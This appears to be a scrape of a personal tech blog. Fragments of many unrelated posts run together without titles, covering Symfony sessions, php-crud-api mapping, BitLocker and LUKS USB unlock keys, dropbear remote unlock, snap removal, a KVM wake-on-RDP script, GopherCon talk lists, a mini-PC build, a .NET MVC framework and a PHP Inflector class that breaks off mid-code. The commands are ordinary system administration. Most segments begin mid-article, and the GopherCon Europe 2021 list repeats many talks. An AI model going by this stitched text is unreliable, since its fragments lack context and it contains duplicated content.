Writing reliably to the session requires session locking. Symfony does not lock sessions in it’s session implementation(s), while PHP natively does. Session locking has performance impact and the number of session locks should be reduced. PHP (core) does support a form of read-only sessions by closing the session directly after starting it. Symfony on the other hand is not promoting readonly sessions with in it’s Flashbag and CSRF implementations (that write to the session). Proper session locking seems to be a problem people don’t understand very well. I hope this post helps.

See: https://github.com/symfony/symfony/issues/4976

Enjoy!

Example mapping configuration

The config allows you to rename tables and columns with a comma separated list of mappings that are split with an equal sign, like this:

'mapping' => 'wp_posts=posts,wp_posts.ID=posts.id',

This specific example will expose the “wp_posts” table at a “posts” end-point (instead of “wp_posts”) and the column “ID” within that table as the “id” property (in lower case instead of upper case).

NB: Since these two mappings overlap the first (less specific) mapping may be omitted.

Supporting existing databases

In order to publish an API for your existing database you may require the following features:

• mapping: expose tables and columns with better suited naming trough a mapping
• authentication: require users to identify themselves when accessing data
• authorization: allow certain users access to certain tables and operations

If your database holds geospatial data then it may benefit from the geospatial and GeoJSON support.

Advantages over a custom API

A generated REST API may have 3 important quality advantages over writing your own API software:

• consistency: generation of the API ensures consistency of all API end-points
• performance: this code has been battle tested to have fairly good performance
• documentation: your API will have an OpenAPI specification and documentation

I think that these advantages are essential to making a good API and are otherwise hard to get right.

Learn more

You can visit the Github project page to learn more about this project:

https://github.com/mevdschee/php-crud-api

Enjoy!

Rules for the USB startup key

Since I’m only securing against hardware theft I don’t mind that using a long pass-phrase is more secure. A pass-phrase is inconvenient when sharing a computer. The USB startup key does not have to be remembered and can be copied and/or lended out to people that are allowed to use the computer.

• Rule #1: Always carry the key on your key chain.
• Rule #2: Take the key out after unlocking.
• Rule #3: Keep a copy of the key in a safe place.
• Rule #4: Do not give away what the key is for.

NB: Always consider your threat model when implementing security measures: Consider carefully whether or not the measures you take secure you against the threats you want to protect yourself from.

Form factor: with a ring

A USB drive that you carry on your key chain would ideally be the size of a key, with a ring so it can fit between your keys. This form factor is very important for the security of this system. I feel it helps the owner to think about the USB drive as a key and it allows the user to keep the USB key close at all times.

Prevent accidental deletion

Normally when you insert a USB stick it will auto-mount and show the contents of a drive. This is especially true for removable drives as the “hidden” flag in MBR or the hidden partition types in GPT (recovery and reserved) are ignored by Windows in case of exFAT, FAT16, FAT32 or NTFS on a removable drive. There is one trick to makes accidental deletion harder: use an “EFI” partition type of a GPT partitioned USB drive. This partition type is typically used for booting and this partition is therefore not auto-mounted. All options in the Windows disk manager are also disabled to prevent accidental modification of this partition. Fortunately for us the partition is scanned during startup for Bitlocker key files.

Master key

Since Bitlocker scans the partition for the right key, you may put multiple keys on the USB drive, effectively creating a “master” key.

Warn when USB stick is not removed

We can write a “logon” script in Visual Basic that is run when the user logs in. This script can warn the user to remove the USB startup key when the user has forgotten to remove it at that point. This script will scan the removable drives for a (connected) drive with a specific label. When the drive is detected it will show a popup warning that is always on top and keeps re-appearing, so is hard to ignore (but you can kill it using the task manager). Removing the drive and pressing “OK” makes the pop-up go away.

You can use the Group Policy Editor (Run: “gpedit.msc”) and navigate to Logon scripts (under: “User Configuration\Windows Settings\Scripts\Logon”) and add/drop your script file there.

Function GetRemovableDriveLetter (label)
    GetRemovableDriveLetter = ""
    Dim drive
    For Each drive In CreateObject("Scripting.FileSystemObject").Drives
        If drive.IsReady Then
            If drive.DriveType = 1 And drive.VolumeName = label Then
                GetRemovableDriveLetter = drive.DriveLetter
                Exit Function
            End If
        End If
    Next
End Function 

Do While GetRemovableDriveLetter("BEK")<>""
    MsgBox vbcrlf & "    You MUST remove the Bitlocker Startup USB Key.     " & _
    vbcrlf & vbcrlf & vbcrlf & vbcrlf & vbcrlf & _
    "    Remove the USB key and press 'OK' to continue." & _
    vbcrlf & vbcrlf & vbcrlf, 4112, "Security Error"
Loop

Enjoy!

What is MSBuild?

The first problem is that you may not even know that you are using “MSBuild” and not “dotnet build” in Visual Studio. I expected Visual Studio Community to use “dotnet build” to build .NET 5 projects, like it does in Visual Studio Code and wasn’t even aware of these two different build tools that Microsoft has.

Incompatible build tasks

I’m using a custom build task to generate view code. This code is written for .NET 5 and my project is .NET 5 as well. It turns out that “dotnet build” has no problem executing this build task.

<UsingTask
   TaskName="GenerateViews"
   AssemblyFile="tools\Maussoft.Mvc.ViewGen.dll"
/>

<Target Name="BeforeBeforeBuild" BeforeTargets="BeforeBuild">
  <GenerateViews />
</Target>

MSBuild on the other hand can only run .Net 4.8 tasks and therefore this pure .NET 5 application in the latest Visual Studio, requires me to recompile my task (view generator) for .NET 4.8. This is very odd and unexpected in my opinion. Also I feel this is not very well documented.

Workaround: Condition “MSBuildRuntimeType”

Instead of modifying the project file you can make the project file compatible with both “MSBuild” and “dotnet build” by using a “Condition” property:

<UsingTask 
  Condition="'$(MSBuildRuntimeType)' != 'Core'"
  TaskName="GenerateViews"
  AssemblyFile="tools\win\Maussoft.Mvc.ViewGen.dll"
/>

<UsingTask
  Condition="'$(MSBuildRuntimeType)' == 'Core'"
  TaskName="GenerateViews"
  AssemblyFile="tools\Maussoft.Mvc.ViewGen.dll"
/>

As you can see I use the “$(MSBuildRuntimeType)” parameter that is not set to ‘Core’ when building with MSBuild and allows you to differentiate between the .NET 4.8 compiled view generator (for Visual Studio Community) and the cross-platform .NET 5 view generator (for Visual Studio Code).

Conclusion

Once you know that Microsoft didn’t upgrade their MSBuild build tool to .NET 5 you understand that it can’t run .NET 5 custom tasks. I feel this is unexpected and not well documented and it may cost you a lot of time (as it did for me). I wish I could recommend Visual Basic programmers to switch to the paid “Rider” IDE product (by JetBrains), but it’s language support for Visual Basic is disappointing. On the upside: It is cross-platform, has a very good developer experience and allows you to use “dotnet build” instead of “MSBuild” to build .NET 5 projects.

Instructions

I have tested the below steps on Ubuntu 22.04 and these are expected to be correct for any recent Debian based distribution.

1. Install the “uuid” tool

sudo apt install uuid

2. Create a random key name using the “uuid” tool:

uuid

will show a random UUID, mine was:

85125e5e-7bc4-11ec-afea-67650910c179

3. Create a 256 byte key file with random data (.lek = LUKS Encryption Key):

dd if=/dev/urandom bs=1 count=256 > 85125e5e-7bc4-11ec-afea-67650910c179.lek

4. Insert a USB drive. It gets mounted somewhere in “/media”, let’s find it:

lsblk

will show that the 16GB USB stick is mounted as “/media/maurits/B54D-B744”:

NAME                   MAJ:MIN RM   SIZE RO TYPE  MOUNTPOINT
sdb                      8:0    1  14,7G  0 disk  
└─sdb1                   8:1    1  14,7G  0 part  /media/maurits/B54D-B744
...

5. Copy the key file to the USB drive:

cp 85125e5e-7bc4-11ec-afea-67650910c179.lek /media/maurits/B54D-B744

6. Find the encrypted volume:

sudo blkid --match-token TYPE=crypto_LUKS -o device

will show:

/dev/sda3

5. Add the key file to the LUKS volume:

sudo cryptsetup luksAddKey /dev/sda3 85125e5e-7bc4-11ec-afea-67650910c179.lek

This does not affect the existing hand-entered passphrase from the installer (in slot 0).

6. Delete the key file (it is loaded in LUKS and copied to the USB drive):

rm 85125e5e-7bc4-11ec-afea-67650910c179.lek

7. Edit /etc/crypttab. You should see a line like:

sda3_crypt UUID=b9570e0f-3bd3-40b0-801f-ee20ac460207 none luks,discard

Modify it to:

sda3_crypt UUID=b9570e0f-3bd3-40b0-801f-ee20ac460207 85125e5e-7bc4-11ec-afea-67650910c179 luks,discard,keyscript=/bin/luksunlockusb

8. Add a script that will search for the key on USB drives during boot:

cat << "END" > luksunlockusb
#!/bin/sh
set -e
if [ ! -e /mnt ]; then
    mkdir -p /mnt
    sleep 3
fi
for usbpartition in /dev/disk/by-id/usb-*-part1; do
    usbdevice=$(readlink -f $usbpartition)
    if mount -t vfat $usbdevice /mnt 2>/dev/null; then
        if [ -e /mnt/$CRYPTTAB_KEY.lek ]; then
            cat /mnt/$CRYPTTAB_KEY.lek
            umount $usbdevice
            exit
        fi
        umount $usbdevice
    fi
done
/lib/cryptsetup/askpass "Insert USB key and press ENTER: "
END

9. Make the script executable and move it to the right location:

chmod 755 luksunlockusb
sudo mv luksunlockusb /bin/luksunlockusb

10. Debian 11 only, add some modules to the /etc/initramfs-tools/modules file:

vfat
nls_cp437
nls_ascii
usb_storage

11. Include the “luksunlockusb” script (and modules) in the initial ram file system using:

sudo update-initramfs -u

12. Done. Reboot and enjoy!

Note that next to inserting the USB drive you can still enter the old passphrase during the boot even though the script has changed the prompt.

Creating a hidden partition

In order to hide the USB drive (prevent the partition from mounting in Linux and Windows) you can create a new GPT partition table on the USB drive and add only a bootable EFI Startup Partition (ESP) to hold your keys. This partition must be the first partition on the drive and have a minimum size of 16 megabytes. Technically it may contain any other content and may be followed by one or more partitions of any type. I prefer to leave them with only this single hidden partition as it prevents (non-technical) people from using the USB stick as a drive (I use key shaped USB drives). You can find some of my scripts on my GitHub:

https://github.com/mevdschee/bitlocker-luks-tools

Alternative: “passdev” keyscript

Some people say that one should use the (Debian) included “passdev” keyscript (see: /lib/cryptsetup/scripts/passdev). You can set it to wait for a USB drive with label ‘USB_ENC_KEY’ that contains the file ‘/85125e5e-7bc4-11ec-afea-67650910c179.lek’ for a maximum of 10 seconds using:

sda3_crypt UUID=b9570e0f-3bd3-40b0-801f-ee20ac460207 /dev/disk/by-label/USB_ENC_KEY:/85125e5e-7bc4-11ec-afea-67650910c179.lek:10 luks,discard,keyscript=passdev

Note that Debian 11 does NOT support the timeout parameter and also that it doesn’t properly unmount the drive, causing the start-job to hang for 1 minute and 30 seconds. I do recommend writing your own keyscript instead of using passdev.

Links

• How to load LUKS passphrase from USB, falling back to keyboard?
• Using a USB key for the LUKS passphrase
• GitHub (mevdschee): Bitlocker and LUKS tools
• Why I use Bitlocker without TPM
• TQdev.com: LUKS with SSH unlock
• TQdev.com: LUKS with HTTPS unlock
• Configuration for passwordless root filesystem
• Debian: Unlock LUKS root device on LVM by an USB key
• How to configure LVM & LUKS to autodecrypt partition?

Installing and configuring the SSH server

Install the “dropbear” SSH server into the initial ram file system with:

sudo apt install dropbear-initramfs

You are expected to see the message:

dropbear: WARNING: Invalid authorized_keys file, remote unlocking of cryptroot via SSH won't work!

You now need to add your public key to the initramfs:

sudo nano /etc/dropbear-initramfs/authorized_keys

Also edit “/etc/dropbear-initramfs/config” using

sudo nano /etc/dropbear-initramfs/config

And change “DROPBEAR_OPTIONS” to:

DROPBEAR_OPTIONS="-I 300 -j -k -p 2222 -s"

Which sets the disconnect timeout to 300 seconds, disables local and remote port forwarding, sets the listening port to 2222 and disables password logins.

Unless you use DHCP you need to change “/etc/initramfs-tools/initramfs.conf” to set your IP configuration, change “IP” to:

IP=10.0.0.10::10.0.0.1:255.255.255.0:bastion

This will set your IP address to 10.0.0.10, your gateway to 10.0.0.1, your netmask to 255.255.255.0 and your hostname to “bastion”.

Save the altered files and in order to rebuild the initial ram file system use the following command:

sudo update-initramfs -u

This will take several seconds on a fast machine.

Connect over the Internet

Since we have the SSH server listening on port 2222 you need to forward port 2222 to the server (if you want to unlock over the Internet). You need to connect from to your server (during the unlocking phase) using the following command:

ssh root@10.0.0.10 -p 2222

You may want to replace 10.0.0.10 with your public IP address or hostname. After connecting run:

cryptroot-unlock

This will allow you to enter a passphrase to unlock your root partition and continue the boot process.

Links

• Remotely unlock a LUKS-encrypted Linux server using Dropbear
• Debian: Unlock LUKS root partition remotely by SSH using dropbear
• LUKS encryption: Enable remote SSH unlocking
• TQdev.com: LUKS with USB unlock
• TQdev.com: LUKS with HTTPS unlock

On Linux

Disable HTTP3 (as a user preference):

echo 'user_pref("network.http.http3.enabled", false);' | tee -a \
$(find ~/.mozilla -name prefs.js | sed "s/prefs/user/g" | xargs)

Revert disabling HTTP3:

sed -i "/network.http.http3.enabled/d" \
$(find ~/.mozilla -name prefs.js | sed "s/prefs/user/g" | xargs)

You need to execute the script when Firefox is not running.

I hope this helps.

NB: I have heard people report that this bug is now resolved, so updating to the latest version might solve the problem as well.

Step 1: Get rid of all installed “snaps”

First lets see what snaps are in use:

sudo snap list

Now we want to get rid of all snaps

sudo snap remove $(snap list | awk '!/^Name|^core|^snapd/ {print $1}')
sudo snap remove core && sudo snap remove snapd

This may take a while.

Step 2: Get rid of “snapd” itself

First we stop the “snapd” service:

sudo systemctl stop snapd

Now we can remove “snapd” and related packages.

sudo apt remove --purge -y snapd gnome-software-plugin-snap

To prevent “snapd” from automatically installing we can set it to “hold”:

sudo apt-mark hold snapd

Now the package cannot be installed, upgraded, removed, or purged accidentally. Now run:

rm -rf ~/snap
sudo rm -rf /snap
sudo rm -rf /var/snap
sudo rm -rf /var/lib/snapd

This will remove some left-over directories.

Step 3: Get back the old Software application

Install “GNOME Software Center” using:

sudo apt install --no-install-recommends gnome-software

This will avoid installing “gnome-software-plugin-snap” and “gnome-software-plugin-flatpak” which are container plugins.

Conclusion

Not everybody likes their applications as snaps. Snaps have security implications, use a lot of disk space and are slow to start up. I feel Ubuntu is pushing snaps harder than they should. This post has helped you to avoid using snaps. Apparently some people agree with me as Linux Mint is going the same route and has this configuration (blocking snaps) by default.

Links

• AskUbuntu - Has ‘Ubuntu Software’ been renamed to ‘Snap Store’?
• AskUbuntu - How do I remove all snaps and snapd, preferably with a single command?
• AskUbuntu - How to remove snap store from Ubuntu?
• LemonTreeSites - How to Enable Snap Applications Support in Linux Mint

Jan  2 08:41:53 bastion sshd[26080]: error: connect_to win10-vm1 port 3389: failed.

Bash script that responds to this log line

I wrote a small bash script that continuously reads lines from “/var/log/auth.log” and tries to start virtual machines (called “domains” in KVM) with the name of the host that the RDP connection (on port 3389) is made to. This is the script “wake-domain.sh”:

tail -F /var/log/auth.log | while read line || { sleep 1 ; continue; }; do
    if [[ $line =~ error:\ connect_to\ ([-a-zA-Z0-9]+)\ port\ 3389 ]]; then
        /usr/bin/virsh start ${BASH_REMATCH[1]}
    fi
done

These are the virtual machines I have (as reported by “virsh list”):

 Id   Name        State
---------------------------
 3    win10-vm1   running
 -    win10-vm2   shut off

I’m using Remmina to connect to the machine “win10-vm2” over the internet using SSH tunneling to the KVM host. This SSH tunneled RDP connection will fail. This will lead to the log line:

Jan  2 09:40:23 bastion sshd[26082]: error: connect_to win10-vm2 port 3389: failed.

This line will be read by the above shell script and automatically start the virtual machine using:

virsh start win10-vm2

This means that if you then retry the connection it might succeed. This is not pretty as the user receives an error on the first attempt, but it is good enough for my use case.

Static IP addresses and hostfile entries

In order for this setup to work, you need to be able to identify the VMs by name. You can simply add the IP addresses of the virtual machines to the “/etc/hosts” file of the server:

# libvirt  
192.168.122.11     win10-vm1
192.168.122.12     win10-vm2

You also need to register the MAC address in the network configuration of KVM as described in one of my earlier posts:

https://tqdev.com/2020-kvm-network-static-ip-addresses

Installing the bash script as a service

In order to create a service we create the service definition in “wake-domain.service”:

[Unit]
Description=Service to start KVM domain on failed RDP connection
#Documentation=
#After=networking.service
[Service]
Type=simple
User=root
Group=root
TimeoutStartSec=0
Restart=on-failure
RestartSec=30s
#ExecStartPre=
ExecStart=/usr/local/bin/wake-domain.sh
SyslogIdentifier=Wakedomain
#ExecStop=
[Install]
WantedBy=multi-user.target

The installation bash script is stored in “install.sh” and reads:

#!/bin/bash
sudo systemctl stop wake-domain
sudo systemctl disable wake-domain
sudo cp wake-domain.service /etc/systemd/system/
sudo cp wake-domain.sh /usr/local/bin/
sudo systemctl daemon-reload
sudo systemctl enable wake-domain
sudo systemctl start wake-domain

Now in order to install the “wake-domain.sh” and “wake-domain.service” you can run:

bash install.sh

This will install and start the service. As always you can find the code on my Github account:

https://github.com/mevdschee/wake-domain.sh

Disable power button

Ubuntu 20.04 LTS Server uses systemd. This also means the power button behavior is not managed by “acpid”, but by “systemd-logind”. In the man pages of “systemd-logind” we find that:

systemd-logind is a system service that manages user logins. It is responsible for: […] Handling of power/sleep hardware keys. - (source)

This service has a config file in “/etc/systemd/logind.conf” that has the line:

HandlePowerKey=poweroff

You need to change that to:

HandlePowerKey=ignore

In order to make this change effective (no reboot needed), you run:

sudo systemctl restart systemd-logind.service

Now you can take the chance and try to touch the power button (fingers crossed).

Enjoy!

GopherCon Europe 2021

• Egon Elbre - Demystifying Technical Debt [24:57]
• Dylan Meeus - Audio Programming with Go [23:17]
• Mathilde Raynal & Yolan Romailler - Quantum Resistant Native Go Programs [20:19]
• Adelina Simion and Xiao Liu - Best Friends Forever (BFFs): Lambda and Go Apps [24:17]
• Julio Guerra - Dynamic Go Instrumentation for Production Environments [21:49]
• Grant Seltzer Richman - Unlocking eBPF from Go [24:17]
• Linus Lee - When Toy Languages Grow Up [26:08]
• Lorna Jane Mitchell - Designing Payloads for Event-Driven Systems [27:50]
• Sean DuBois - Pion WebRTC [22:59]
• Sushant Bhadkamkar - Derisking Migrations of API Backends [23:25]
• Dave Cheney - How Go Avoided the Integer Promotion Footgun [25:45]
• Dana Scheider - Technical Writing for Developers and Engineers [25:05]
• André Eriksson - Fusing Io/Fs with Gopls [26:01]
• Matteo Grella - (Neural) Natural Language Processing in Go [27:47]
• André Eriksson - Fusing Io/Fs with Gopls [26:01]
• Dylan Meeus - Audio Programming with Go [23:17]
• Mathilde Raynal & Yolan Romailler - Quantum Resistant Native Go Programs [20:19]
• Adelina Simion and Xiao Liu - Best Friends Forever (BFFs): Lambda and Go Apps [24:17]
• Julio Guerra - Dynamic Go Instrumentation for Production Environments [21:49]
• Grant Seltzer Richman - Unlocking eBPF from Go [24:17]
• Linus Lee - When Toy Languages Grow Up [26:08]
• Lorna Jane Mitchell - Designing Payloads for Event-Driven Systems [27:50]
• Sean DuBois - Pion WebRTC [22:59]
• Sushant Bhadkamkar - Derisking Migrations of API Backends [23:25]
• Dave Cheney - How Go Avoided the Integer Promotion Footgun [25:45]
• Dana Scheider - Technical Writing for Developers and Engineers [25:05]
• Joakim Kennedy - The Dark Side of Go: A 2020 Go Malware Round Up [32:09]
• Egon Elbre - Demystifying Technical Debt [24:57]
• Preslav Rachev - Creating Immersive Generative Art with Go [27:10]
• Ricardo Ferreira - OpenTelemetry for Dummies: Instrumenting Go Apps [33:39]
• Samuel Davidson - CTX is Key! [29:08]
• Panel - Go Security [56:58]
• Ishuah Kariuki - Terminal Emulator Basics in Golang [27:29]
• Valentin Deleplace - Function Inlining [23:47]
• Maricris Bonzo - Create Your Go Projects with TDD in Mind [25:12]
• Dan Lorenc - The Dependency Jungle: Supply Chain Security and Kubernetes [22:39]
• Panel - Go Tooling [57:43]
• Alan Braithwaite - Why it Takes a Team of Engineers to Process Events in RT [24:36]

Other conference videos

Did you like this post? There are more Go conference videos available, see:

• GopherCon 2020
• GopherCon 2019
• GopherCon 2018
• GopherCon 2017
• GopherCon 2016

Enjoy!

GopherCon 2020

• Jonathan Amsterdam - Working with Errors [18:11]
• Carmen Andoh - Crossing the Chasm: Go for the Next Million Users [23:49]
• Jonathan Bodner - Go is Boring… And That’s Fantastic! [26:14]
• Dylan Bourque and Anthony Lee - Untangling the Monorepo: Moving to Go Modules [25:53]
• Johan Brandhorst-Satzkorn - A Journey to Postgres Productivity with Go [47:10]
• Kris Brandow - A Rainbow of Gophers: Building A More Diverse Community [52:27]
• Kevin Burke - Build and Test Caching in Go [25:21]
• Austin Clements - Pardon the Interruption: Loop Preemption in Go 1.14 [24:17]
• Agniva De Sarker - Common Patterns for Bounds Check Elimination [19:15]
• Jaana Dogan - Debugging Code Generation in Go [43:22]
• Doug Donohoe - Reordering 59 Million NYT Publishing Assets Using Go and BadgerDB [45:45]
• Robert Griesemer - Typing [Generic] Go [33:53]
• Angelica Hill - Anyone Can Be A Gopher! [33:02]
• Daisuke Kashiwagi - How to Write a Self-Hosted Go Compiler from Scratch [31:16]
• Michael Knyszek - Evolving the Go Memory Manager’s RAM and CPU Efficiency [50:54]
• L Körbes - The Quest for the Fastest Deployment Time [47:46]
• Dylan Meeus - Functional Programming with Go [46:05]
• Aditya Mukerjee - করো: Translating Go to Other (Human) Languages, and Back Again [34:02]
• Derek Parker - Deterministically Debugging Go Programs [46:31]
• Florin Pățan - Building an FM Radio Station with Go [34:37]
• Brad Peabody - Go is Not Just on Your Server, it’s in Your Browser: Intro to Vugu [55:09]
• Michael Richman - Write Once, Use Many: A Handy Package to Call Internal HTTP APIs [32:39]
• Grant Seltzer Richman - Tracing Go Programs with eBPF! [53:02]
• Dan Scales - Implementing Faster Defers [23:14]
• Travis Smith - Optimizing Performance using a VM and Go Plugins [48:01]
• Zac Staples - Go Make Something Real – The Potential for Go on the Factory Floor [27:34]
• Alex Stockwell/Kevin Tyers - A Game Engine for 300 DEFCON Hackers to Smash [36:52]
• Justen Walker - Safety Not Guaranteed: Calling Windows APIs using Unsafe and Syscall [44:55]
• Ted Young - The Fundamentals of OpenTelemetry [28:39]
• Ask Me Anything with the Go Team [48:12]
• Go Time Podcast Day 1 - What to Expect When You’re NOT Expecting [49:42]
• Go Time Podcast Day 2 - The Secret Life of Gophers [1:00:18]
• Go Time Podcast Day 3 - Go Panic! Game Show [1:00:39]
• Lightning Talks Day 1 [44:17]
• Lightning Talks Day 2 [1:08:07]

Other conference videos

Did you like this post? There are more Go conference videos available, see:

• GopherCon 2019
• GopherCon 2018
• GopherCon 2017
• GopherCon 2016

Enjoy!

Better specifications

This build has a 3.8Ghz, (4.8Ghz turbo) octa core instead of a 3.6Ghz (4.0Ghz turbo) quad core CPU (5700G vs. 3200G). It has a 3500 MB/s 2TB PCIe 4.0 based NVMe instead of a 1800 MB/s 1TB disk (Samsung 970 EVO Plus 2TB vs Intel 660p 1TB).

 145 EUR - Asrock DeskMini X300 - SFF barebone
 239 EUR - G.Skill DDR4 SODIMM Ripjaws 2x32GB 3200MHz - Memory
 229 EUR - Samsung 970 EVO Plus 2TB NVMe - Solid state drive
 339 EUR - AMD Ryzen 7 5700G processor - Processor
  49 EUR - Noctua NH-L9a-AM4 chromax.black - CPU cooler
--------
1001 EUR (including VAT)

NB: The above prices are based on the offering of Dutch web-shops for PC parts, such as “Megekko”, “Azerty” and “Alternate”, at the time of writing of this post.

Use case

I love having 8 cores and 64 GB of RAM and an ultra-fast 2TB disk, it makes working with virtual machines and docker a lovely experience. You can also run many browser tabs and electron applications simultaneously without running out of RAM. It sure is overkill for the things I typically do (mostly programming).

If you compare this machine with a Intel NUC 11 Performance (quad core i7), then this machine wins easily in specifications, performance and absolute price. The form factor of 1.8 liter is larger than the Intel NUC, but it is also quieter, thanks to the excellent Noctua fan. I really wonder who would buy the NUC when you can have this much more computer for so much less money (the barebone NUC 11 Performance goes for 819 EUR at the time of writing, totaling at 1287 EUR with the same components).

It was a lot of fun to build the computer and I’m really impressed with the price/performance ratio of the machine. I don’t think I ever owned such a powerful machine at such a small form factor. Downsides of this machine are the small number of USB ports (3x normal USB and 1x USB-C), the lack of WiFi (can be added, but I don’t need it) and relatively high idle power usage (I just turn it off when I don’t use it).

Installing a recent kernel

You can experiment with newer kernels from the Ubuntu Kernel PPA or you can upgrade to Xubuntu 21.10 for the latest official Xubuntu release. I prefer to run 20.04 with a slightly newer kernel, but installing 21.10 is probably a lot easier. Installing a new(er) kernel is less cumbersome when you use a tool like “Mainline”, but is also not really hard when you learn to do it “by hand”.

Links

• ASRock - DeskMini X300 Series
• SFF.Network: Deskmini x300 APU 5600G or 5700G

Design philosophy

I tried to sum up the goals for the project as bullet points:

• Develop and run primarily on Linux
• Single executable, easy to deploy
  • Views produce code that can be debugged
  • Static files are embedded.
• Convention over configuration
  • Routing uses reflection, no exceptions
• Simple to understand, not too much code
• Minimal dependencies, no ASP.NET

Thankfully .NET 5 makes it really easy to achieve those goals.

Install .NET 5 on Ubuntu

On Ubuntu 20.04 you need to execute:

wget https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb \
  -O packages-microsoft-prod.deb
sudo dpkg -i packages-microsoft-prod.deb
rm packages-microsoft-prod.deb

Then install the needed packages using:

sudo apt-get update; \
  sudo apt-get install -y apt-transport-https && \
  sudo apt-get update && \
  sudo apt-get install -y dotnet-sdk-5.0

Source: https://docs.microsoft.com/en-us/dotnet/core/install/linux-ubuntu

Now you have the dotnet command on your command line and I would recommend that you install Visual Studio Code and it’s C# extension.

How to get started

Would you like to play with this minimalistic MVC framework? First you need to clone the example project:

git clone https://github.com/maussoft/mvc-example-cs

Now you have the following directories in your project directory:

• bin/ (ignored, where the executables are stored)
• obj/ (ignored, where the intermediate binaries are stored)
• tools/ (this is where the view generator task is stored)
• Content/ (this is where the Javascript, CSS and images are stored)
• Controllers/ (your controller classes)
• Views/ (your views with a subdirectory for every controller)
• Acme.Example.csproj (your project file)
• Program.cs (the entry point of your application, with function “Main” )
• Session.cs (the session object that is available on every action)
• appsettings.json (the settings of the application)

Now let me show you how to add some code.

Writing the code

Our webserver uses the following session class in Session.cs:

using System.Collections.Generic;

public class Session
{
  public List<string> Names { get; set; }

  public Session()
  {
    this.Names = new List<string>();
  }
}

This Session class can hold names in a list.

Now let’s create a simple controller in Controllers/Hello.cs:

using Maussoft.Mvc;

namespace Acme.Example.Controllers
{
  public class Hello
  {
    public void World(WebContext<Session> context, string name)
    {
      context.Session.Names.Add(name);
      context.Data.Names = context.Session.Names.ToArray();
    }
  }
}

The create a Layout in Views/Layouts/Hello.aspx:

<%@ Master %>
<!DOCTYPE html>
<html>
  <head>
    <title>Hello!</title>
  </head>
  <body>
    <% RenderViewContent(); %>
  </body>
</html>

And a view in Views/Hello/World.aspx:

<%@ Page Inherits="Layouts.Hello" %>
<h1>Names</h1>
<ul>
  <% foreach (var name in Context.Data.Names) { %>
    <li><%= name %></li>
  <% } %>
</ul>

And then run the application using:

dotnet run

And access it on:

http://localhost:2345/Hello/World/Maurits

You will see an increasing list of names (stored in the session).

Source code: https://github.com/maussoft/mvc

Happy programming!

The Inflector class had a “singularize” and a “pluralize” method that you could call with either the plural or the singular form of an (English) noun and it would convert it for you. Thus, it could convert the string ’lives’ to ’life’ with the “singularize” method and ‘person’ to ‘people’ with the “pluralize” method. This post will explain how this magical “Inflector” class worked.

NB: Although I fully bought into all Rails’ conventions back in the day, I’m no longer convinced the theoretical benefit of plural table names is worth it’s practical downsides. I have written a post to explain in detail why I feel database tables should be named with singular nouns.

Packagist

For anyone in need of a good implementation of an Inflector in PHP I suggest to take a look at Packagist. On Packagist you can find the following 3 popular packages that provide a “singularize” and “pluralize” function:

• doctrine/inflector - This is by far the most popular Inflector for PHP
• symfony/string - This is the replacement of the Symfony Inflector
• icanboogie/inflector - This is a multi-lingual Inflector class

The first one can be installed with the following composer command:

composer require doctrine/inflector

Now you can use:

use \Doctrine\Inflector\InflectorFactory;

$factory = InflectorFactory::create();
$inflector = $factory->build();
$singular = $inflector->singularize($plural);

The static “create” call on the InflectorFactory creates a LanguageInflectorFactory that can in turn “build” an Inflector. I always need to smile when I encounter a FactoryFactory in the wild.

Roll your own

If you want to fully understand what the Inflector is doing (or want to implement your own) you can start where I started: I’ve chosen to copy the language rules from the latest Ruby on Rails and rewrite the “singularize” and “pluralize” functions from scratch.

<?php

/**
 * This class is a port of the Ruby on Rails Inflector class. From the docs:
 * 
 * > Defines the standard inflection rules. These are the starting point for
 * > new projects and are not considered complete. The current set of inflection
 * > rules is frozen. This means, we do not change them to become more complete.
 * > This is a safety measure to keep existing applications from breaking.
 * 
 * source: https://github.com/rails/rails/blob/main/activesupport/lib/active_support/inflections.rb
 **/

class Inflector
{   
    private static $irregulars = [
        "person" => "people",
        "man" => "men",
        "child" => "children",
        "sex" => "sexes",
        "move" => "moves",
        "zombie" => "zombies",
    ];

    private static $uncountables = [
        'equipment' => true,
        'information' => true,
        'rice' => true,
        'money' => true,
        'species' => true,
        'series' => true,
        'fish' => true,
        'sheep' => true,
        'jeans' => true,
        'police' => true,
    ];

    private static $plurals = [
        '/$/' => "s",
        '/s$/i' => "s",
        '/^(ax|test)is$/i' => '\1es',
        '/(octop|vir)us$/i' => '\1i',
        '/(octop|vir)i$/i' => '\1i',
        '/(alias|status)$/i' => '\1es',
        '/(bu)s$/i' => '\1ses',
        '/(buffal|tomat)o$/i' => '\1oes',
        '/([ti])um$/i' => '\1a',
        '/([ti])a$/i' => '\1a',
        '/sis$/i' => "ses",
        '/(?:([^f])fe|([lr])f)$/i' => '\1\2ves',
        '/(hive)$/i' => '\1s',
        '/([^aeiouy]|qu)y$/i' => '\1ies',
        '/(x|ch|ss|sh)$/i' => '\1es',
        '/(matr|vert|ind)(?:ix|ex)$/i' => '\1ices',
        '/^(m|l)ouse$/i' => '\1ice',
        '/^(m|l)ice$/i' => '\1ice',
        '/^(ox)$/i' => '\1en',
        '/^(oxen)$/i' => '\1',
        '/(quiz)$/i' => '\1zes',
    ];

    private static $singulars = [
        '/s$/i' => "",
        '/(ss)$/i' => '\1',
        '/(n)ews$/i' => '\1ews',
        '/([ti])a$/i' => '\1um',
        '/((a)naly|(b)a|(d)iagno|(p)arenthe|(p)rogno|(s)ynop|(t)he)(sis|ses)$/i' => '\1sis',
        '/(^analy)(sis|ses)$/i' => '\1sis',
        '/([^f])ves$/i' => '\1fe',
        '/(hive)s$/i' => '\1',
        '/(tive)s$/i' => '\1',
        '/([lr])ves$/i' => '\1f',
        '/([^aeiouy]|qu)ies$/i' => '\1y',
        '/(s)eries$/i' => '\1eries',
        '/(m)ovies$/i' => '\1ovie',
        '/(x|ch|ss|sh)es$/i' => '\1',
        '/^(m|l)ice$/i' => '\1ouse',
        '/(bus)(es)?$/i' => '\1',
        '/(o)es$/i' => '\1',
        '/(shoe)s$/i' => '\1',
        '/(cris|test)(is|es)$/i' => '\1is',
        '/^(a)x[ie]s$/i' => '\1xis',
        '/(octop|vir)(us|i)$/i' => '\1us',
        '/(alias|status)(es)?$/i' => '\1',
        '/^(ox)en/i' => '\1',
        '/(vert|ind)ices$/i' => '\1ex',
        '/(matr)ices$/i' => '\1ix',
        '/(quiz)zes$/i' => '\1',
        '/(database)s$/i' => '\1',
    ];

    public static function singularize(string $plural): string
    {
